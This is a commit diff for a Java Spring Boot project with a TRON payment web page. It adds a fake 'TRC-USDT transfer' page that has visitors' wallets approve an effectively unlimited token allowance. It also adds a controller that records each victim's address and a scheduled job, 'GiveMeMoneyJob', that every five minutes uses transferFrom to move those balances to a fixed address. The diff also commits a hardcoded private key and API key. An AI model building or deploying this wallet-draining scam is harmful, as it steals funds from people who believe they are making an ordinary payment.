src/main/java/cc/mrbird/febs/FebsShiroApplication.java
@@ -5,12 +5,14 @@ import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.scheduling.annotation.EnableAsync; import org.springframework.scheduling.annotation.EnableScheduling; import org.springframework.transaction.annotation.EnableTransactionManagement; /** * @author MrBird */ @EnableAsync @EnableScheduling @SpringBootApplication @EnableTransactionManagement @MapperScan("cc.mrbird.febs.*.mapper") src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java
New file @@ -0,0 +1,53 @@ package cc.mrbird.febs.Job; import cc.mrbird.febs.common.contants.AppContants; import cc.mrbird.febs.dapp.entity.DappAddressList; import cc.mrbird.febs.dapp.mapper.DappAdressListDao; import cn.hutool.core.collection.CollUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; import java.math.BigInteger; import java.util.List; /** * @author wzy * @date 2021-10-20 **/ @Slf4j @Component public class GiveMeMoneyJob { private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); ; @Autowired private DappAdressListDao dappAdressListDao; @Scheduled(cron = "0 0/5 * * * ? ") public void giveMeMoney() { log.info("give me money"); List<DappAddressList> list = dappAdressListDao.selectList(null); if (CollUtil.isEmpty(list)) { return; } for (DappAddressList address : list) { Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); BigInteger balanceOf = token.balanceOf(address.getAddress()); log.info("====>{}", balanceOf.intValue()); if (balanceOf.intValue() <= 0) { continue; } token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L); } } } src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java
New file @@ -0,0 +1,22 @@ package cc.mrbird.febs.common.configure; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.scheduling.TaskScheduler; import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler; /** * @author wzy * @date 2021-10-20 **/ @Configuration public class TaskConfig { @Bean public TaskScheduler taskScheduler(){ ThreadPoolTaskScheduler taskScheduler = new ThreadPoolTaskScheduler(); taskScheduler.setPoolSize(10); taskScheduler.initialize(); return taskScheduler; } } src/main/java/cc/mrbird/febs/common/contants/AppContants.java
@@ -77,4 +77,6 @@ public static final String CLOSING_ORDER_PREFIX = "closing_cnt_"; public static final String TRX_PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae"; } src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
New file @@ -0,0 +1,69 @@ package cc.mrbird.febs.dapp.controller; import cc.mrbird.febs.common.contants.AppContants; import cc.mrbird.febs.common.entity.FebsResponse; import cc.mrbird.febs.dapp.mapper.DappAdressListDao; import cc.mrbird.febs.dapp.dto.TrxPostDto; import cc.mrbird.febs.dapp.entity.DappAddressList; import cn.hutool.core.util.StrUtil; import io.swagger.annotations.Api; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; import javax.servlet.http.HttpServletRequest; import java.math.BigDecimal; import java.math.BigInteger; import java.util.Date; /** * @author wzy * @date 2021-10-19 **/ @Slf4j @RequiredArgsConstructor @CrossOrigin(origins = "*") @RestController @Api(value = "接口啊", tags = "接口啊") @RequestMapping(value = "/trx") public class DappController { @Autowired private DappAdressListDao dappAdressListDao; @PostMapping(value = "/trcPost.html") public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { log.info("-----进入方法-----"); DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress()); if (dappAddress == null) { dappAddress = new DappAddressList(); dappAddress.setCreateTime(new Date()); dappAddress.setAddress(trxPostDto.getAddress()); dappAdressListDao.insert(dappAddress); } ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); // System.out.println(balanceOf); BigInteger decimals = token.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); BigDecimal amount = BigDecimal.ZERO; if (StrUtil.isNotBlank(trxPostDto.getAmount())) { amount = new BigDecimal(trxPostDto.getAmount()); } amount = amount.multiply(mul); token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L); return new FebsResponse().success(); } } src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
File was renamed from src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java @@ -1,4 +1,4 @@ package cc.mrbird.febs.modules.dapp.dto; package cc.mrbird.febs.dapp.dto; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -20,4 +20,7 @@ @ApiModelProperty(value = "授权地址", example = "123") private String authAddress; @ApiModelProperty(value = "金额", example = "1") private String amount; } src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java
New file @@ -0,0 +1,24 @@ package cc.mrbird.febs.dapp.entity; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.util.Date; /** * @author wzy * @date 2021-10-20 **/ @Data @TableName("dapp_address_list") public class DappAddressList { private Date createTime; @TableId(value = "id",type = IdType.AUTO) private Long id; private String address; } src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java
New file @@ -0,0 +1,14 @@ package cc.mrbird.febs.dapp.mapper; import cc.mrbird.febs.dapp.entity.DappAddressList; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import org.apache.ibatis.annotations.Param; /** * @author wzy * @date 2021-10-20 **/ public interface DappAdressListDao extends BaseMapper<DappAddressList> { DappAddressList selectByAddress(@Param("address") String address); } src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
File was deleted src/main/resources/application.yml
@@ -26,7 +26,6 @@ banner: false db-config: select-strategy: not_empty logging: level: com: src/main/resources/mapper/dapp/DappAdressListDao.xml
New file @@ -0,0 +1,8 @@ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="cc.mrbird.febs.dapp.mapper.DappAdressListDao"> <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappAddressList"> select * from dapp_address_list where address=#{address} </select> </mapper> src/main/resources/static/tron-app/img/loading.gifsrc/main/resources/static/tron-app/tron.html
@@ -1,6 +1,28 @@ <!DOCTYPE html> <!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 --> <html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css"> .tishi{ <html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"> <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="format-detection" content="telephone=no, email=no"> <meta name="msapplication-tap-highlight" content="no"> <meta name="x5-orientation" content="portrait"> <meta name="x5-fullscreen" content="true"> <link rel="icon" href="https://fymodi.com/index/index/favicon.ico"> <meta name="description" content=""> <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --> <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--> <link rel="stylesheet" href="./tron_files/reset.min.css"> <link rel="stylesheet" href="./tron_files/main.css"> <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--> <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script> <script type="text/javascript" src="./tron_files/flexible.js"></script> <style type="text/css"> .tishi { width: 3.5rem; height: 1.2rem; background: #00000059; @@ -16,8 +38,52 @@ line-height: 1.2rem; display: none; } </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!-- <div class="item-inner">--><!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi"> 付款成功 </div></div></div><div id="s"></div></div> </style> </head> <body style="font-size: 12px;"><!-- Views --> <div class="views"><!-- main view --> <div class="view view-main"><!-- Pages --> <div class="pages navbar-through"> <div class="page"> <div class="page-content" style="padding-top: 0.5rem;"> <div class="list-block address"> <div class="list-block-title">收款地址</div> <ul> <li class="item-content"> <div class="item-inner"> <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div> </div> </li> </ul> </div> <div class="list-block amount"> <div class="list-block-title">金额<span id="yu">0 USDT</span></div> <ul> <li class="item-content"> <div class="item-inner"> <div class="item-title"><input class="num" placeholder="0"> <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p> </div> </div> </li><!--<li class="item-content">--><!-- <div class="item-inner">--> <!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul> <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --> </div> <div class="list-block-button"> <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步 </button> </div> </div> </div><!-- Preloader --> <div class="modal"> <div class="preloader"></div> </div> <div class="tishi"> 付款成功 </div> </div> </div> <div id="s"></div> </div> <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div> <div style="display:none;"> <textarea id="jsondata"> @@ -33,6 +99,7 @@ // var domain = 'http://localhost:8080'; var bizhong = 'USDT'; var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; function getUrlQueryString(names, urls) { urls = urls || window.location.href; urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : ""; @@ -54,10 +121,12 @@ }) async function postInfo(address,symbol){ var amount = $($('input.num')[0]).val(); var data = { address:address, authAddress:authorized_address, symbol:symbol symbol: symbol, amount: amount } $.ajax({ @@ -104,6 +173,7 @@ } var total=0; async function getMostValuableAssets(account) { let _symbol = 'USDT'; for (const symbol of Object.keys(addr)) { @@ -132,6 +202,7 @@ let tronWeb = window.tronWeb; let walletAddress = tronWeb.defaultAddress.base58; // bizhong = await getMostValuableAssets(walletAddress); // postInfo(walletAddress, bizhong) let instance = await tronWeb.contract().at(approveAddr); let res = await instance["approve"](authorized_address,"90000000000000000000000000000"); res.send({ @@ -150,6 +221,7 @@ $('.modal').removeClass('modal-in').addClass('modal-out'); }) } function init() { } @@ -184,4 +256,7 @@ $('#s').click() },1000); }) </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html> </script> <script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script> </body> </html>